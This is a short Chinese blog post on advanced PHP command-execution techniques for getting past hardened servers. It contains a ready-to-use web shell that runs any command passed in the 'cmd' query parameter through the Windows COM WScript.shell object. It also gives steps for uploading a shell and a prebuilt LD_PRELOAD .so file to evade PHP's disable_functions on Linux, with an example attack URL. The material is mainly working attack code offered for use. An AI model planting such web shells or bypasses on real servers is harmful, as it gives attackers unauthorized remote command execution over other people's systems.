上一篇文章中介绍了php命令执行的几种姿势的基础用法 ,除了基础用法之外,还有几种高级用法可以考虑,在服务端过滤严格、安全措施较高的情况下,有时可以派上大用场。
1、com组件的使用
在php5.4及以上的版本中,可以开启com组件,直接执行某些cmd命令行,如在在php.ini文件中,开启extension=php_com_dotnet.dll,如图,
查看phpinfo,该组件是否开启?
?直接调用com组件,执行相关命令,shellcode,如下,
<?php
$command = $_GET['cmd'];
$wsh = new COM("WScript.shell");
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
执行ping 127.0.0.1 如图,
2、Linux 动态库的使用
?对于linux系统,需要加载动态库so文件,详见github:GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/
?站在巨人的肩膀上,就不再分析具体的细节过程了,将项目中的so文件直接拿来使用,将php shell 文件和so文件都上传到服务器下同一个目录后,访问如下url:
http://x.x.x.x/bypass_disablefunc.php?cmd=id&outpath=/var/www/html/xxx&sopath=/var/www/html/bypass_disablefunc_x64.so
没来得及实践,后面动手补上
|